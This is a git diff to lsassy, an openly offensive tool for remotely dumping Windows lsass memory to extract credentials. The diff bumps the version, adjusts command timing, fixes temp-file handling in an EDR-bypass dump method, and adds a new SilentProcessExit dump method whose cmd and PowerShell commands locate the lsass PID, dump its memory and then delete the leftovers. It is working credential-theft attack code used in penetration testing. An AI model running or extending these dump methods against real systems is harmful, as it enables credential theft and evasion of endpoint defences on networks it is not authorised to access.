diff --git a/README.md b/README.md index b5b3775..d95728f 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # lsassy -[![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=3.1.3&x2=0)](https://pypi.org/project/lsassy/) +[![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=3.1.4&x2=0)](https://pypi.org/project/lsassy/) [![PyPI Statistics](https://img.shields.io/pypi/dm/lsassy.svg)](https://pypistats.org/packages/lsassy) [![Tests](https://github.com/hackndo/lsassy/workflows/Tests/badge.svg)](https://github.com/hackndo/lsassy/actions?workflow=Tests) [![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo) @@ -483,6 +483,7 @@ You can check dummy class for more comments and/or informations. * [s4ntiago_p](https://twitter.com/s4ntiago_p) for [nanodump](https://github.com/helpsystems/nanodump) * [0gtweet](https://twitter.com/0gtweet) for [Rdrleakdiag technique](https://twitter.com/0gtweet/status/1299071304805560321) * [Luis Rocha](https://twitter.com/countuponsec) for [SQLDumper technique](https://twitter.com/countuponsec/status/910969424215232518) +* [Asaf Gilboa](https://mobile.twitter.com/asaf_gilboa) for [LsassSilentProcessExit technique](https://github.com/deepinstinct/LsassSilentProcessExit) ## Official Discord Channel diff --git a/lsassy/__init__.py b/lsassy/__init__.py index dc0a25b..a7f6b6d 100644 --- a/lsassy/__init__.py +++ b/lsassy/__init__.py @@ -1 +1 @@ -__version__ = '3.1.3' +__version__ = '3.1.4' diff --git a/lsassy/console.py b/lsassy/console.py index d58ea17..fe58978 100644 --- a/lsassy/console.py +++ b/lsassy/console.py @@ -30,8 +30,8 @@ def main(): help='Dump module options (Example procdump_path=/opt/procdump.exe,procdump=procdump.exe') group_dump.add_argument('--timeout', action='store', type=int, default=5, help='Max time to wait for lsass dump (Default 5s)') - group_dump.add_argument('--time-between-commands', action='store', type=int, default=7, - help='Time to wait between dump methods commands (Default 7s)') + group_dump.add_argument('--time-between-commands', action='store', type=int, default=1, + help='Time to wait between dump methods commands (Default 1s)') group_dump.add_argument('--parse-only', action='store_true', help='Parse dump without dumping') group_dump.add_argument('--keep-dump', action='store_true', help='Parse dump without dumping') diff --git a/lsassy/dumpmethod/comsvcs_stealth.py b/lsassy/dumpmethod/comsvcs_stealth.py index 3de05a3..8b06c59 100644 --- a/lsassy/dumpmethod/comsvcs_stealth.py +++ b/lsassy/dumpmethod/comsvcs_stealth.py @@ -12,6 +12,11 @@ class DumpMethod(IDumpMethod): def __init__(self, session, timeout, time_between_commands): super().__init__(session, timeout, time_between_commands) + + # If default, set to 7. Otherwise, keep custom time + if self._time_between_commands == 1: + self._time_between_commands = 7 + self.comsvcs_copied = False self.comsvcs_copy_name = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + ".dll" self.comsvcs_copy_path = "\\Windows\\Temp\\" diff --git a/lsassy/dumpmethod/edrsandblast.py b/lsassy/dumpmethod/edrsandblast.py index f62b45f..743780e 100644 --- a/lsassy/dumpmethod/edrsandblast.py +++ b/lsassy/dumpmethod/edrsandblast.py @@ -21,19 +21,27 @@ def __init__(self, session, timeout, time_between_commands): self.tmp_ntoskrnl = "lsassy_" + ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32)) + ".exe" def prepare(self, options): - with open('/tmp/{}'.format(self.tmp_ntoskrnl), 'wb') as p: + if os.name == 'nt': + tmp_dir = 'C:\\Windows\\Temp\\' + else: + tmp_dir = '/tmp/' + with open('{}{}'.format(tmp_dir, self.tmp_ntoskrnl), 'wb') as p: try: self._session.smb_session.getFile("C$", "\\Windows\\System32\\ntoskrnl.exe", p.write) - logging.success("ntoskrnl.exe downloaded to /tmp/{}".format(self.tmp_ntoskrnl)) + logging.success("ntoskrnl.exe downloaded to {}{}".format(tmp_dir, self.tmp_ntoskrnl)) except Exception as e: logging.error("ntoskrnl.exe download error", exc_info=True) + try: + os.remove('{}{}'.format(tmp_dir, self.tmp_ntoskrnl)) + except Exception as e: + return None return None - self.ntoskrnl.content = self.get_offsets("/tmp/{}".format(self.tmp_ntoskrnl)) + self.ntoskrnl.content = self.get_offsets("{}{}".format(tmp_dir, self.tmp_ntoskrnl)) if self.ntoskrnl.content is not None: logging.success("ntoskrnl offsets extracted") logging.debug(self.ntoskrnl.content.split("\n")[1]) - os.remove('/tmp/{}'.format(self.tmp_ntoskrnl)) + os.remove('{}{}'.format(tmp_dir, self.tmp_ntoskrnl)) return self.prepare_dependencies(options, [self.edrsandblast, self.RTCore64, self.ntoskrnl]) diff --git a/lsassy/dumpmethod/silentprocessexit.py b/lsassy/dumpmethod/silentprocessexit.py new file mode 100644 index 0000000..4f0b7e5 --- /dev/null +++ b/lsassy/dumpmethod/silentprocessexit.py @@ -0,0 +1,35 @@ +from lsassy.dumpmethod import IDumpMethod, Dependency + + +class DumpMethod(IDumpMethod): + #need_debug_privilege = True + + + def __init__(self, session, timeout, time_between_commands): + super().__init__(session, timeout, time_between_commands) + self.silentprocessexit = Dependency("silentprocessexit", "silentprocessexit.exe") + + def prepare(self, options): + return self.prepare_dependencies(options, [self.silentprocessexit]) + + def clean(self): + self.clean_dependencies([self.silentprocessexit]) + + def get_commands(self, dump_path=None, dump_name=None, no_powershell=False): + cmd_command = [ + """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} %J 0""".format( + self.silentprocessexit.get_remote_path() + ), + """move C:\\temp\\lsass.exe-(PID-* C:\\Temp\\lsass && move C:\\Temp\\lsass\\lsass.exe*.dmp {}{} """.format(self.dump_path, self.dump_name), + """del /s /q "C:\\temp\\lsass" && rmdir C:\\Temp\\lsass""" + ] + pwsh_command = [ + "{} (Get-Process lsass).Id 0".format( + self.silentprocessexit.get_remote_path() + ), + """move C:\\temp\\lsass.exe-(PID-* C:\\Temp\\lsass && move C:\\Temp\\lsass\\lsass.exe*.dmp {}{} """.format(self.dump_path, self.dump_name), + """del /s /q "C:\\temp\\lsass" && rmdir C:\\Temp\\lsass""" ] + return { + "cmd": cmd_command, + "pwsh": pwsh_command + } diff --git a/lsassy/logger.py b/lsassy/logger.py index 65b7d46..d97113e 100644 --- a/lsassy/logger.py +++ b/lsassy/logger.py @@ -59,6 +59,9 @@ def init(quiet=False, no_color=False): """ StreamHandler and formatter added to root logger """ + if (logging.getLogger().hasHandlers()): + logging.getLogger().handlers.clear() + handler = logging.StreamHandler(sys.stdout) handler.setFormatter(LsassyFormatter(no_color)) logging.getLogger().addHandler(handler) diff --git a/pyproject.toml b/pyproject.toml index 2eec0d4..4382c83 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "lsassy" -version = "3.1.3" +version = "3.1.4" description = "Tool to remotely extract credentials" readme = "README.md" homepage = "https://github.com/hackndo/lsassy" diff --git a/setup.py b/setup.py index e10e9de..fbed095 100644 --- a/setup.py +++ b/setup.py @@ -13,7 +13,7 @@ setup( name="lsassy", - version="3.1.3", + version="3.1.4", author="Pixis", author_email="hackndo@gmail.com", description="Python library to extract credentials from lsass remotely", diff --git a/tests/test_lsassy.py b/tests/test_lsassy.py index 18895b9..5fbf37c 100644 --- a/tests/test_lsassy.py +++ b/tests/test_lsassy.py @@ -2,4 +2,4 @@ def test_version(): - assert __version__ == '3.1.3' + assert __version__ == '3.1.4'